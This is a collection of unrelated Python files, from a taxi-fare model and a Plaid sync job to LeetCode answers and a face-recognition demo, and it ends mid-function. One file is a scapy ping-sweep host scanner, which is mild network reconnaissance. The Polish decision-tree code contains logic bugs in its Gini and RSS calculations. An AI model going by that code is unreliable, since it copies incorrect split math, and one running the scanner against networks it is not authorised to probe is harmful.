#!/usr/bin/env python
# coding: utf-8

import pickle
import pandas as pd
import sys
import numpy as np

def get_model():
    with open('model.bin', 'rb') as f_in:
        dv, lr = pickle.load(f_in)

    return dv, lr

def process_data(df):
    categorical = ['PUlocationID', 'DOlocationID']
    df[categorical] = df[categorical].fillna(-1).astype('int').astype('str')
    dicts = df[categorical].to_dict(orient='records')

    return dicts

def read_data(filename):
    df = pd.read_parquet(filename)

    df['duration'] = df.dropOff_datetime - df.pickup_datetime
    df['duration'] = df.duration.dt.total_seconds() / 60

    df = df[(df.duration >= 1) & (df.duration <= 60)].copy()
    return df

def get_data(year, month):
    df = read_data(f'https://nyc-tlc.s3.amazonaws.com/trip+data/fhv_tripdata_{year:04d}-{month:02d}.parquet')
    dicts = process_data(df)
    return dicts

def run():
    year = int(sys.argv[1])
    month = int(sys.argv[2])
    dv, lr = get_model()
    dicts = get_data(year, month)
    X_val = dv.transform(dicts)
    y_pred = lr.predict(X_val)

    print(np.mean(y_pred))

if __name__ == "__main__":
    run()


#!/usr/bin/env python3

from scapy.all import *

def pingscan(ip):
    """
    pingscan(ip)

    Ping the incoming IP.
    ip: Pass in an IP like 192.168.1.0 or 192.168.1.0/24
    """
    answer, uanswer = sr( \
        IP(dst=ip) / ICMP(), \
        timeout=10, verbose=False \
    )

    alive = []
    for send, recv in answer:
        if recv[ICMP].type == recv[ICMP].code == 0:
            alive.append(recv[IP].src)

    return alive

if __name__ == '__main__':
    ip = input("Enter IP address:")
    result = pingscan(ip)
    for i in result:
        print("{} is alive.".format(i))


from urllib import request
from fastapi.testclient import TestClient

# Import our app from main.py.
from main import app

# Instantiate the testing client with our app.
client = TestClient(app)

# Write tests using the same syntax as with the requests module.
def test_api_welcome():
    r = client.get("/")
    assert r.status_code == 200
    assert r.json() == {"welcome message": "Hello World!"}

def test_high_predictions():
    r = client.post("/", json={"age": 35,
        "workclass": "Private",
        "fnlgt": 220098,
        "education": "HS-grad",
        "education-num": 9,
        "marital-status": "Married-civ-spouse",
        "occupation": "Other-service",
        "relationship": "Wife",
        "race": "White",
        "sex": "Female",
        "capital-gain": 0,
        "capital-loss": 0,
        "hours-per-week": 40,
        "native-country": "United-States"})
    assert r.status_code == 200
    assert r.json() == {"prediction": ">50K"}

def test_low_predictions():
    r = client.post("/", json={"age": 50,
        "workclass": "Private",
        "fnlgt": 176609,
        "education": "Some-college",
        "education-num": 10,
        "marital-status": "Divorced",
        "occupation": "Other-service",
        "relationship": "Not-in-family",
        "race": "White",
        "sex": "Male",
        "capital-gain": 0,
        "capital-loss": 0,
        "hours-per-week": 45,
        "native-country": "United-States"})

    assert r.status_code == 200
    assert r.json() == {"prediction": "<=50K"}


import webbrowser

from requests import RequestException

from jet_bridge_base import settings
from jet_bridge_base.utils.backend import is_resource_token_activated
from jet_bridge_base.logger import logger

def check_token_command(api_url):
    try:
        if not is_resource_token_activated(settings.PROJECT, settings.TOKEN):
            logger.warning('[!] Your resource token is not activated')
            logger.warning('[!] Project: {}'.format(settings.PROJECT))
            logger.warning('[!] Token: {}'.format(settings.TOKEN))

            if settings.DATABASE_ENGINE != 'none' and settings.AUTO_OPEN_REGISTER and api_url.startswith('http'):
                register_url = '{}register/'.format(api_url)

                if settings.TOKEN:
                    register_url += '?token={}'.format(settings.TOKEN)

                if webbrowser.open(register_url):
                    logger.warning('[!] Activation page was opened in your browser - {}'.format(register_url))
            else:
                register_url = '{}register/'.format(api_url)
                logger.warning('[!] Go to {} to activate it'.format(register_url))
    except RequestException:
        logger.error('[!] Can\'t connect to Jet Admin API')
        logger.error('[!] Token verification failed')


"""
    File    : identify_face.py
    Author  : kaiboon
    Date    : 27/5/2020
    Brief   : Identify the face of peoples in the images.
              If the face is in database, it will return the name of that person, else, it return unknown face.
              We use PIL instead of opencv in this file.
"""

import face_recognition
from PIL import Image, ImageDraw

TOLERANCE = 0.425

image_of_kb = face_recognition.load_image_file('./known/kaiboon/kb1.jpg')
kb_face_encoding = face_recognition.face_encodings(image_of_kb)[0]

image_of_wb = face_recognition.load_image_file('./known/waibing/wb2.jpg')
wb_face_encoding = face_recognition.face_encodings(image_of_wb)[0]

# Create array of encodings and names
known_face_encodings = [
    kb_face_encoding,
    wb_face_encoding
]

known_face_names = [
    "Kaiboon",
    "Waibing"
]

#Load test image to find faces in the
test_image = face_recognition.load_image_file('./groups/kbwbszxt.jpg')

# Find faces in test image
face_locations = face_recognition.face_locations(test_image)
face_encodings = face_recognition.face_encodings(test_image, face_locations)

#Convert to PIL format
pil_image = Image.fromarray(test_image)

#Create a ImageDraw instance
draw = ImageDraw.Draw(pil_image)

# Loop through faces in test image
for(top, right, bottom, left), face_encoding in zip(face_locations, face_encodings):
    matches = face_recognition.compare_faces(known_face_encodings, face_encoding, TOLERANCE)

    name = "Unknown Person"

    #If match
    if True in matches:
        first_match_index = matches.index(True)
        name = known_face_names[first_match_index]

    # Draw Main Box
    draw.rectangle(
        ((left, top), (right, bottom)),
        outline=(0,0,0)
    ) #Outline is the color in RGB

    #Draw label
    text_width, text_height = draw.textsize(name)
    draw.rectangle(
        ((left, bottom-text_height-10),(right,bottom)),
        fill = (0,0,0),
        outline = (0,0,0)
    )
    draw.text(
        (left+6, bottom-text_height-5),
        name,
        fill = (255,255,255,255)
    )

# Delete draw from memory, this one is recommended by the official documentation
del draw

#Display image
pil_image.show()

#Save image
#pil_image.save('identify.jpg')


import numpy as np
import sys
sys.path.append(r'C:\Users\timmy\Desktop\Senior Design\Carla 0.9.10\WindowsNoEditor\PythonAPI\carla\dist\carla-0.9.10-py3.7-win-amd64.egg')
import carla

def process_img(image, grayscale = False):
    i = np.array(image.raw_data)
    i2 = i.reshape((480,640,4)) # 4 because of (r,g,b,alpha) values for every pixel
    i3 = i2[:,:,:3] #removes the aplha variable because we don't need it
    img = i3
    if grayscale:
        img = np.dot(img,[.299,.587,.114]) #converts to grayscale
    return img

def find_weather_presets():
    import re
    rgx = re.compile('.+?(?:(?<=[a-z])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][a-z])|$)')
    name = lambda x: ' '.join(m.group(0) for m in rgx.finditer(x))
    presets = [x for x in dir(carla.WeatherParameters) if re.match('[A-Z].+', x)]
    return [(getattr(carla.WeatherParameters, x), name(x)) for x in presets]

''' Below functions are guided by or implementations found from the following source:
    Title: Algorithms for Automated Driving
    Author: Mario Theers
    Date: Last Updated April 2021
    Availability: https://thomasfermi.github.io/Algorithms-for-Automated-Driving/Introduction/intro.html
'''
def send_control(vehicle, throttle, steer, brake,
                 hand_brake=False, reverse=False):
    throttle = np.clip(throttle, 0.0, 1.0)
    steer = np.clip(steer, -1.0, 1.0)
    brake = np.clip(brake, 0.0, 1.0)
    control = carla.VehicleControl(throttle, steer, brake, hand_brake, reverse)
    vehicle.apply_control(control)

def linesegment_distances(p, a, b):
    # normalized tangent vectors
    d_ba = b - a
    d = np.divide(d_ba, (np.hypot(d_ba[:, 0], d_ba[:, 1]).reshape(-1, 1)))

    # signed parallel distance components
    # rowwise dot products of 2D vectors
    s = np.multiply(a - p, d).sum(axis=1)
    t = np.multiply(p - b, d).sum(axis=1)

    # clamped parallel distance
    h = np.maximum.reduce([s, t, np.zeros(len(s))])

    # perpendicular distance component
    # rowwise cross products of 2D vectors
    d_pa = p - a
    c = d_pa[:, 0] * d[:, 1] - d_pa[:, 1] * d[:, 0]

    return np.hypot(h, c)

# Function from https://stackoverflow.com/a/59582674/2609987
def circle_line_segment_intersection(circle_center, circle_radius, pt1, pt2, full_line=True, tangent_tol=1e-9):
    #Find the points at which a circle intersects a line-segment.  This can happen at 0, 1, or 2 points.
    (p1x, p1y), (p2x, p2y), (cx, cy) = pt1, pt2, circle_center
    (x1, y1), (x2, y2) = (p1x - cx, p1y - cy), (p2x - cx, p2y - cy)
    dx, dy = (x2 - x1), (y2 - y1)
    dr = (dx ** 2 + dy ** 2)**.5
    big_d = x1 * y2 - x2 * y1
    discriminant = circle_radius ** 2 * dr ** 2 - big_d ** 2

    if discriminant < 0:  # No intersection between circle and line
        return []
    else:  # There may be 0, 1, or 2 intersections with the segment
        intersections = [
            (cx + (big_d * dy + sign * (-1 if dy < 0 else 1) * dx * discriminant**.5) / dr ** 2,
             cy + (-big_d * dx + sign * abs(dy) * discriminant**.5) / dr ** 2)
            for sign in ((1, -1) if dy < 0 else (-1, 1))]  # This makes sure the order along the segment is correct
        if not full_line:  # If only considering the segment, filter out intersections that do not fall within the segment
            fraction_along_segment = [(xi - p1x) / dx if abs(dx) > abs(dy) else (yi - p1y) / dy for xi, yi in intersections]
            intersections = [pt for pt, frac in zip(intersections, fraction_along_segment) if 0 <= frac <= 1]
        if len(intersections) == 2 and abs(discriminant) <= tangent_tol:  # If line is tangent to circle, return just one point (as both intersections have same location)
            return [intersections[0]]
        else:
            return intersections

def get_target_point(lookahead, polyline):
    # Determines the target point for the pure pursuit controller
    intersections = []
    for j in range(len(polyline)-1):
        pt1 = polyline[j]
        pt2 = polyline[j+1]
        intersections += circle_line_segment_intersection((0,0), lookahead, pt1, pt2, full_line=False)
    filtered = [p for p in intersections if p[0]>0]
    if len(filtered)==0:
        return None
    return filtered[0]

def dist_point_linestring(p, line_string):
    """ Compute distance between a point and a line_string (a.k.a. polyline)
    """
    a = line_string[:-1, :]
    b = line_string[1:, :]
    return np.min(linesegment_distances(p, a, b))


import turtle
import csv
import pandas

screen = turtle.Screen()
screen.title("U.S States Game")
image = "blank_states_img.gif"
screen.addshape(image)
turtle.shape(image)
score = 0
game_is_on = True
data = pandas.read_csv("50_states.csv")
list_of_state = data['state'].to_list()
#    print(list_of_state)

while game_is_on:
    answer_state = screen.textinput(title=str(score) + "/50 Guess the States",
                                    prompt="What's another stat's name?").capitalize()
    #    print(answer_state)

    if answer_state in list_of_state:
        print("You're right!")
        list_of_state.remove(answer_state)
        score += 1
        t = turtle.Turtle()
        t.hideturtle()
        t.penup()
        state_data = data[data.state == answer_state]
        t.goto(int(state_data.x), int(state_data.y))
        t.write(answer_state)
        #        print(list_of_state)

        if not list_of_state:
            break
    else:
        #        print(list_of_state)
        pass

screen.exitonclick()

# get x,y where you click
# def get_mouse_click_coor(x, y):
#     print(x, y)
#
# turtle.onscreenclick(get_mouse_click_coor)
# turtle.mainloop()


import logging

import dramatiq
import plaid
import redis.lock
from django.apps import apps
from dramatiq_crontab import cron
from plaid.api.plaid_api import PlaidApi
from plaid.model.transfer_event import TransferEvent
from plaid.model.transfer_event_sync_request import TransferEventSyncRequest
from plaid.model.transfer_event_sync_response import TransferEventSyncResponse
from plaid.model.transfer_get_request import TransferGetRequest

from plaid_app.models import PlaidInternal, PlaidTransferEvent, PlaidTransfer, Investment

@cron('*/20 * * * *')  # every 20 minutes...
@dramatiq.actor
def sync_transfers():
    logging.info('Plaid: starting transfer events sync')
    redis_client = apps.get_app_config('django_app').redis
    lock = redis.lock.Lock(redis=redis_client, name='transfer_sync_lock',
                           timeout=600, blocking_timeout=600)
    with lock:
        last_id_obj, _ = PlaidInternal.objects.get_or_create(
            param_name='transfer_sync_last_event_id',
            defaults={
                'value_num': 0,
            }
        )
        last_id = int(last_id_obj.value_num)
        client: PlaidApi = apps.get_app_config('django_app').plaid_client

        plaid_request = TransferEventSyncRequest(
            after_id=last_id
        )

        try:
            response: TransferEventSyncResponse = client.transfer_event_sync(plaid_request)
            for event in sorted(response.transfer_events, key=lambda x: x.event_id):  # type: TransferEvent
                logging.info('Plaid: new transfer event: %s', event.to_dict())

                last_id = max(last_id, event.event_id)
                transfer = PlaidTransfer.objects.filter(id=event.transfer_id).first()
                if not transfer:
                    logging.error('Plaid: no transfer %s found for event %s', event.transfer_id, event.event_id)

                    redis_client = apps.get_app_config('django_app').redis
                    transfer_create_lock = redis.lock.Lock(redis=redis_client, name='lock:transfer_create',
                                                           timeout=300, blocking_timeout=300)
                    with transfer_create_lock:
                        # recheck
                        transfer = PlaidTransfer.objects.filter(id=event.transfer_id).first()
                        if not transfer:
                            # create orphaned transfer
                            logging.info('Plaid: creating new orphaned transfer: %s', event.transfer_id)
                            try:
                                transfer_get_response = client.transfer_get(
                                    transfer_get_request=TransferGetRequest(
                                        transfer_id=event.transfer_id,
                                    )
                                )
                                plaid_transfer = transfer_get_response.transfer.to_dict()
                                amount = transfer_get_response.transfer.amount
                                transfer_type = transfer_get_response.transfer.type.value
                            except Exception as e:
                                logging.exception('Plaid: exception during transfer get: %s', e)
                                plaid_transfer = {}
                                amount = 0
                                transfer_type = 'unknown'
                            transfer = PlaidTransfer(
                                id=event.transfer_id,
                                transfer_body=plaid_transfer,
                                authorization_body={},
                                transfer_status=event.event_type,
                                amount=amount,
                                transfer_type=transfer_type,
                            )
                            transfer.save()
                PlaidTransferEvent.objects.get_or_create(
                    event_id=event.event_id,
                    defaults=dict(
                        transfer_id=event.transfer_id,
                        event_body=event.to_dict(),
                        event_type=event.event_type,
                        event_timestamp=event.timestamp,  # convert???
                    )
                )
                if event.event_type:
                    # do indirect update
                    PlaidTransfer.objects.filter(id=event.transfer_id).update(transfer_status=event.event_type)
                    invest_status = None
                    if event.event_type in ('settled',):
                        invest_status = Investment.STATUS_TRS_COMPLETE
                    elif event.event_type in ('failed',):
                        invest_status = Investment.STATUS_TRS_FAILED
                    elif event.event_type in ('cancelled',):
                        invest_status = Investment.STATUS_TRS_CANCELED
                    elif event.event_type in ('returned',):
                        invest_status = Investment.STATUS_TRS_RETURNED
                    if invest_status is not None and hasattr(transfer, 'investment') and transfer.investment:
                        Investment.objects.filter(id=transfer.investment.id).update(status=event.event_type)
        except plaid.ApiException as e:
            logging.exception('Plaid: exception during transfer sync: %s', e)

        last_id_obj.value_num = int(last_id)
        last_id_obj.save()
    logging.info('Plaid: finished transfer events sync')


from arquivo import *

def imprimiTexto(msg):
    print('-' * 50)
    print('{: ^50}'.format(msg))
    print('-' * 50)

def exibeMenu():
    imprimiTexto('MENU PRINCIPAL')
    print('\033[1;33m1 - Ver pessoas cadastradas\033[m')
    print('\033[1;33m2 - Cadastrar nova pessoa\033[m')
    print('\033[1;33m3 - Sair do Sistema\033[m')
    print('-' * 50)

def verificaOpcao(msg):
    try:
        op = int(input(msg))
    except:
        print('\033[1;31mOpção Inválida! Digite Novamente...\033[m')
        return verificaOpcao(msg)

    if op > 0 and op < 4:
        return op
    else:
        print('\033[1;31mOpção Inválida! Digite Novamente...\033[m')
        return verificaOpcao(msg)

def leiaIdade(msg):
    while True:
        n = input(msg)

        if n.isnumeric():
            return int(n)
        else:
            print('ERRO! Digite uma idade válida')


import discord

class LoadoutCreateModalPage3(discord.ui.Modal, title="Create Loadout Page (3/3)"):
    underbarrel_type = discord.ui.TextInput(
        label="Underbarrel",
        required=False,
        placeholder="Enter UnderBarrel Type"
    )

    muzzle_type = discord.ui.TextInput(
        style=discord.TextStyle.short,
        label="Muzzle",
        required=False,
        placeholder="Enter Muzzle Type"
    )

    comb_type = discord.ui.TextInput(
        label="Comb",
        required=False,
        placeholder="Enter Comb Type"
    )
    async def on_submit(self, interaction):
        await interaction.response.defer(thinking=False)


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def longestZigZag(self, root: Optional[TreeNode]) -> int:
        stack = []
        maxLength = 0

        stack.append(("left", 1, root.left))
        stack.append(("right", 1, root.right))

        while stack:
            direction, length, node = stack.pop()

            if not node:
                continue

            maxLength = max(maxLength, length)

            if direction == "left":
                stack.append(("left", 1, node.left))
                stack.append(("right", length + 1, node.right))
            else:
                stack.append(("right", 1, node.right))
                stack.append(("left", length + 1, node.left))

        return maxLength


from collections import defaultdict

def topological_sort(deps):
    """
    deps = [dep1, dep2, dep3, ...]
    each dep is a tuple (prerequisite, dependence) meaning that the dep[0] is the parent node of dep[1]

    This implementation assumes acyclic graph, for cycle aware topological_sort, refer to topological_sort2.py
    """

    def dfs(v):
        visited.add(v)
        for v2 in graph[v]:
            if v2 not in visited:  dfs(v2)
        result.append(v)

    graph = defaultdict(list)
    for dep in deps:
        graph[dep[1]].append(dep[0])

    visited = set(); result = []
    for v in list(graph.keys()):
        if v not in visited: dfs(v)

    return result


from bson.objectid import ObjectId
from pymongo import MongoClient

uri = 'mongodb://localhost:27017/apprentice'

def get_data(id):
    client = MongoClient(uri)
    db = client.apprentice

    data = db.data.find_one({'_id': ObjectId(id)}, {"X": 1, "y": 1})

    X = data['X']
    y = data['y']
    return X, y


import numpy as np
import random

inf = float('inf')

class BinNode:
    """
    Klasa reprezentujaca wezel w drzewie binarnym.
    """

    def __init__(self, values, data_type, classifier_classes=None, left=None, right=None, condition=None, decision=None):
        """
        Inicjalizacja wszystkich potrzebnych parametrow. Podanie jedynie wyktora values jest niezbedne.
        """

        self.left = left
        self.right = right
        self.values = values #obserwacje w danym wezle (ich numery wiersza w zbiorze treningowym X)
        self.condition = condition #warunek podzialu w wezle
        self.decision = decision #jesli wierzcholek jest lisciem to przypisywana jest mu decyzja klasyfikacji
        self.training_data_type = data_type
        self.classifier_classes = classifier_classes

    def is_leaf(self):
        """
        Sprawdzenie czy wezel jest lisciem
        """

        if self.son("L") == None and self.son("R") == None:
            return True
        return False

    def son(self, which):
        """
        Zwraca wybranego syna wezla.
        :param which: 'L' lub 'R'
        """

        if which == 'L':
            return self.left
        elif which == 'R':
            return self.right

    def set_sons_values(self, n_features, X, y, which='C'):
        """
        Przypisanie rekurencyjnie obserwacji do synow korzenia na podstawie wybranego najlepszego kryterium podzialu
        :param n_features: liczba calkowita wieksza od 1 i mniejsza od liczby wszystkich obserwacji w danych treningowych
        :param X: dane treningowe, tablica numpy array, w ktorej kazdy wiersz odpowiada jednej obserwacji
        :param y: wektor klasyfikacji dla danych treningowych, numpy array
        """

        condition = self.find_best_division(n_features, X, y, which)

        if which == 'C': #Klasyfikacja

            #jesli podzial jest mozliwy i potrzebny
            if condition[0] != None and len(set(self.values_classes(y))) > 1:

                self.condition = condition[0]
                self.left = BinNode(condition[1], self.training_data_type, self.classifier_classes)
                self.right = BinNode(condition[2], self.training_data_type, self.classifier_classes)

                self.left.set_sons_values(n_features, X, y, which='C')
                self.right.set_sons_values(n_features, X, y, which='C')

            if len(set(self.values_classes(y))) == 1:
                self.decision = list(set(self.values_classes(y)))[0]

        if which == 'R': #Regresja

            if condition[0] != None and len(self.values) > 3:

                self.condition = condition[0]

                self.left = BinNode(condition[1], self.training_data_type, self.classifier_classes)
                self.right = BinNode(condition[2],self.training_data_type, self.classifier_classes)

                self.left.set_sons_values(n_features, X, y, which='R')
                self.right.set_sons_values(n_features, X, y, which='R')

            else:

                self.decision = np.average(self.values_classes(y))

    def values_classes(self, y):
        return y[self.values]

    def find_best_division(self, n_features, X, y, which):
        """
        Wyznacza optymalny podzial w wezle.
        Dla kazdego wierzcholka losowanych jest n_features cech i dla nich sprawdzane sa wszystkie mozliwe wartosci kryterium optymalnosci Gini impurity.
        Zwraca krotke postaci ((kolumna dla kryterium podzialu, kryterium podzialu, typ kolumny podzialu liczbowy/wyliczeniowy), obserwacje w lewym synu, obserwacje w prawym synu)
        oraz wynik alalizy danych wejsciowych,
        jesli nie ma mozliwosci ustanowienia takiego podzialu aby kazdy z synow zawieral jakies wartosci zwracana jest krotka postaci (None, None, None)
        """

        m, n = X.shape
        data_type = self.training_data_type
        classifier_classes = self.classifier_classes

        #data_type, classifier_classes = analyse_input_data(X, y)

        random_features = random.sample(range(0, n-1), n_features)

        best_division_condition = None; best_L_values = None; best_R_values = None;

        #Najlepszy gini_impunity lub rss w zaleznosci od tego ktory rodzaj klasyfikacji
        best_gini_impurity = inf
        best_rss = inf

        n_all = len(self.values)

        #sprawdzenie wszystkich mozliwych wartosci dla kazdej z wylosowanych cech
        for i in random_features:

            #sprawdzenie kazdej wartosci wezlowej
            for j in data_type[i][1]:
                L_values = []; R_values = []
                for value in self.values:
                    if data_type[i][0] == 'numeryczne':
                        if float(X[value,i]) <= float(j):
                            L_values.append(value)
                        else:
                            R_values.append(value)
                    else: #wyliczeniowe
                        if X[value,i] == j:
                            L_values.append(value)
                        else:
                            R_values.append(value)

                n_L = len(L_values); n_R = len(R_values)

                if which == 'C': #Klasyfikacja

                    n_L0 = sum([val == classifier_classes[0] for val in y[L_values]])
                    n_L1 = n_all - n_L0
                    n_R0 = sum([val == classifier_classes[0] for val in y[R_values]])
                    n_R1 = n_all - n_R0

                    #interesuje nas tylko podzial gdzie kazdy z synow ma przypisane jakies obserwacje
                    if n_L != 0 and n_R != 0:
                        gini_impurity = gini(n_all,n_L,n_R,n_L0,n_L1,n_R0,n_R1)

                        #sprawdzenie czy do tej pory najlepszy warunek - minimalizuje gini
                        if gini_impurity < best_gini_impurity:
                            best_gini_impurity = gini_impurity
                            best_division_condition = (i,j,data_type[i][0])
                            best_L_values = L_values
                            best_R_values = R_values

                if which == 'R': #Regresja

                    #interesuje nas tylko podzial gdzie kazdy z synow ma przypisane jakies obserwacje
                    if n_L != 0 and n_R != 0:
                        rss = RSS({"L": L_values,"R":R_values})
                        #sprawdzenie czy do tej pory najlepszy warunek - minimalizuje rss
                        if rss < best_rss:
                            best_division_condition = (i,j,data_type[i][0])
                            best_L_values = L_values
                            best_R_values = R_values

        return best_division_condition, best_L_values, best_R_values

    def classify(self,v):
        """
        Klasyfikuje wektor v na podstawie drzewa zawieszonego w wierzcholku self.
        :param v: wektor postaci numpy array
        """

        if not self.is_leaf():
            if self.condition[2] == 'numeryczne':
                if float(v[self.condition[0]]) <= float(self.condition[1]):
                    return self.son("L").classify(v)
                else:
                    return self.son("R").classify(v)
            else: #wyliczeniowe
                if v[self.condition[0]] == self.condition[1]:
                    return self.son("L").classify(v)
                else:
                    return self.son("R").classify(v)
        else:
            return self.decision

    def __repr__(self):

        if self.is_leaf():
            return 'Leaf(%r, %r)' % (self.values, self.decision)
        else:
            return 'Node(%r, %r)' % (self.values, self.condition)

class BinTree:
    """
    Klasa reprezentujaca binarne drzewo decyzyjne.
    """

    def __init__(self, n_features, X, y, data_type, classifier_classes, which='C'):

        m, n = X.shape
        self.n_features = n_features
        self.X = X
        self.y = y

        #typ danych na ktorych uczony byl klasyfikator tworzacy dane drzewo
        self.training_data_type = data_type
        self.classifier_classes = classifier_classes

        self.node = BinNode([i for i in range(m)],self.training_data_type, self.classifier_classes)
        self.node.set_sons_values(n_features, X, y, which)

    def root(self):
        return self.node

    def classify(self,v):
        return self.root().classify(v)

def is_numeric(x):
    return str(x).replace('.', '', 1).isdigit()

def gini(n, nl, nr, nl0, nl1, nr0, nr1):
    """
    Wyznacza kryterium optymalnosci Gini impurity
    :param n: liczba wszystkich przykladow
    :param nl: liczba przykladow, ktore po podziale trafia do lewego syna
    :param nr: liczba przykladow, ktore po podziale trafia do prawego syna
    :param nl0: liczba przykladow z pierwszej klasy w lewym synu
    :param nl1: liczba przykladow z drugiej klasy w lewym synu
    :param nr0: liczba przykladow z pierwszej klasy w prawym synu
    :param nr1: liczba przykladow z drugiej klasy w prawym synu
    :return: wartosc gini impurity
    """
    return (nl / n) * (nl0 / nl * (1 - nl0 / nl) + nl1 / nl * (1 - nl1 / nl)) + (nr / n) * (
    nr0 / nr * (1 - nr0 / nr) + nr1 / nr * (1 - nr1 / nr))

def RSS(data):

        y1, y2 = [np.average(data[key]) for key in data]
        s1 = sum([(y1-yi)**2 for yi in list(data.values())[0]])
        s2 = sum([(y1-yi)**2 for yi in list(data.values())[1]])

        return s1+s2

def analyse_input_data(X, y=[]):
    """
    Sprawdza typ danych wejsciowych, jakiego typu sa cechy, czy numeryczne, cz wyliczeniowe i jakie wartosci przyjmuja
    :param X: dane treningowe, tablica numpy array wymiaru (m x n)
    :param y: klasy dla zbioru treningowego, numpy array dlugosci m
    :return: krotka postaci ([(typ_kolumna_0,wartosci_kolumna_0), ... , (typ_kolumna_n,wartosci_kolumna_n)],[klasa1,klasa2])
    """

    m, n = X.shape

    data_type = [() for i in range(n)]

    if len(y) != 0:
        #sprawdzenie pierwszego wymiaru X i dlugosci y
        if not m == len(y):
            raise ValueError

    for i in range(n):
        # sprawdzenie typu danych dla kazdej kolumny
        wartosci = []
        if all(map(is_numeric , X[:, i])):
            typ = "numeryczne"
        else:
            typ = "wyliczeniowe"
        wartosci.extend(list(set(X[:, i])))
        data_type[i] = (typ, wartosci)

    if len(y) != 0:
        classifier_classes = list(set(y))

        #sprawdzenie czy w wektorze y znajduja sie tylko dwie klasy
        if not len(classifier_classes) <= 2:
            raise ValueError

    if len(y) != 0:
        return data_type, classifier_classes
    else:
        return data_type


#quesiton link:-https://codeforces.com/contest/1525/problem/B
'''

You are given a permutation a consisting of n numbers 1, 2, ..., n (a permutation is an array in which each element from 1 to n occurs exactly once).

You can perform the following operation: choose some subarray (contiguous subsegment) of a and rearrange the elements in it in any way you want. But this operation cannot be applied to the whole array.

For example, if a=[2,1,4,5,3] and we want to apply the operation to the subarray a[2,4] (the subarray containing all elements from the 2-nd to the 4-th), then after the operation, the array can become a=[2,5,1,4,3] or, for example, a=[2,1,5,4,3].

Your task is to calculate the minimum number of operations described above to sort the permutation a in ascending order.

'''

#solution :-

for _ in range(int(input())):
	n=int(input())

	arr=list(map(int,input().split()))

	sort_arr=sorted(arr)

	if arr==sort_arr:
		print(0)
		#return
	elif arr[0]==sort_arr[0] or arr[-1]==sort_arr[-1]:
		print(1)
		#return
	elif arr[0]==sort_arr[-1] and arr[-1]==sort_arr[0]:
		print(3)
		#return
	else:
		print(2)


import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
from .tgcn import ConvTemporalGraphical

class st_gcn(nn.Module):
    r"""Applies a spatial temporal graph convolution over an input graph sequence.

    Args:
        in_channels (int): Number of channels in the input sequence data
        out_channels (int): Number of channels produced by the convolution
        kernel_size (tuple): Size of the temporal convolving kernel and graph convolving kernel
        stride (int, optional): Stride of the temporal convolution. Default: 1
        dropout (int, optional): Dropout rate of the final output. Default: 0
        residual (bool, optional): If ``True``, applies a residual mechanism. Default: ``True``

    Shape:
        - Input[0]: Input graph sequence in :math:`(N, in_channels, T_{in}, V)` format
        - Input[1]: Input graph adjacency matrix in :math:`(K, V, V)` format
        - Output[0]: Output graph sequence in :math:`(N, out_channels, T_{out}, V)` format
        - Output[1]: Graph adjacency matrix for output data in :math:`(K, V, V)` format

        where
            :math:`N` is a batch size,
            :math:`K` is the spatial kernel size, as :math:`K == kernel_size[1]`,
            :math:`T_{in}/T_{out}` is a length of input/output sequence,
            :math:`V` is the number of graph nodes.

    """
    # 主要需要看一下T_{out}如何改成和T_{in}一致

    def __init__(self,
                 in_channels,
                 out_channels,
                 kernel_size,
                 stride=1,
                 dropout=0,
                 residual=True):
        super().__init__()

        assert len(kernel_size) == 2
        # 这个size是时间卷积核？为什么要求时间卷积核的尺度是奇数(可能是奇数好padding)，可以使输出大小和输入保持一致
        assert kernel_size[0] % 2 == 1
        padding = ((kernel_size[0] - 1) // 2, 0)
        # 这里的这个kernel是空间核，subset数目，其实这里也可以直接把tcn做了，但是T的核大小取得是1，相当于没有做tcn
        self.gcn = ConvTemporalGraphical(in_channels, out_channels,
                                         kernel_size[1])
        # 这里出来t不会变，输出是nctv
        # 感觉gcn的作用就是在做空间卷积，因为时间上他用的kernel size是1所以相当于没有进行时间卷积
        self.tcn = nn.Sequential(
            nn.BatchNorm2d(out_channels),
            nn.ReLU(inplace=True),
            nn.Conv2d(
                out_channels,
                out_channels,
                (kernel_size[0], 1),
                (stride, 1),
                padding,
            ),
            nn.BatchNorm2d(out_channels),
            nn.Dropout(dropout, inplace=True),
        )
        # 这里搞完应该也是nctv 如果都采用默认值的话，t也不会变
        if not residual:
            self.residual = lambda x: 0

        elif (in_channels == out_channels) and (stride == 1):
            self.residual = lambda x: x

        else:
            self.residual = nn.Sequential(
                nn.Conv2d(
                    in_channels,
                    out_channels,
                    kernel_size=1,
                    stride=(stride, 1)),
                nn.BatchNorm2d(out_channels),
            )

        self.relu = nn.ReLU(inplace=True)

    def forward(self, x, A):

        res = self.residual(x)
        x, A = self.gcn(x, A)
        x = self.tcn(x) + res
        return self.relu(x), A


class Solution:
    def rightSideView(self, root: Optional[TreeNode]) -> List[int]:
        #base case
        if not root: return []
        res = [] #initialize result array to return later.
        q = collections.deque()
        q.append(root)
        #while q is not empty
        while q:
            #length of curr level
            level_len = len(q)
            #iterate through each level
            for i in range(level_len):
                curr = q.popleft()
                #if we are at last index then append item to the result array.
                if i == level_len-1: res.append(curr.val)
                #add curr.left and curr.right to q if not empty
                if curr.left: q.append(curr.left)
                if curr.right: q.append(curr.right)
        #return result array
        return res


import copy
import datetime
import pytz
import urllib
from sqlalchemy.orm import exc
from flask import abort

def get_or_create(session, model, **kwargs):
    instance = session.query(model).filter_by(**kwargs).first()
    if instance:
        return instance, False
    else:
        instance = model(**kwargs)
        session.add(instance)
        session.flush()
        session.refresh(instance)
        return instance, True

def utc_now():
    """Get a datetime representing current time in UTC."""
    return pytz.utc.localize(datetime.datetime.utcnow())

def timestamp_to_datetime(timestamp):
    """Convert UNIX timestamp (seconds from epoch in UTC) to Python datetime
    in UTC.
    """
    return datetime.datetime.fromtimestamp(timestamp, pytz.utc)

def board_url_query(parameters, name=None, value=None):
    """Constructs the query part of the board url.

    parameters: dict with values of the parameters.
    name: name of a parameter to which a new value will be assigned.
    value: new value of a parameter.
    """
    parameters = copy.copy(parameters)
    if name:
        parameters[name] = value
    query = '?sort=%s&saved=%s&last_reply=%s&tagged=%s' % (
        parameters['sort_with_operator'],
        parameters['saved'],
        parameters['last_reply'],
        parameters['tagged'],
    )
    if parameters['tag'] is not None:
        tags = urllib.parse.quote('+'.join(parameters['tag']))
        query += '&tag=%s' % tags
    return query

def search_url_query(parameters, name=None, value=None):
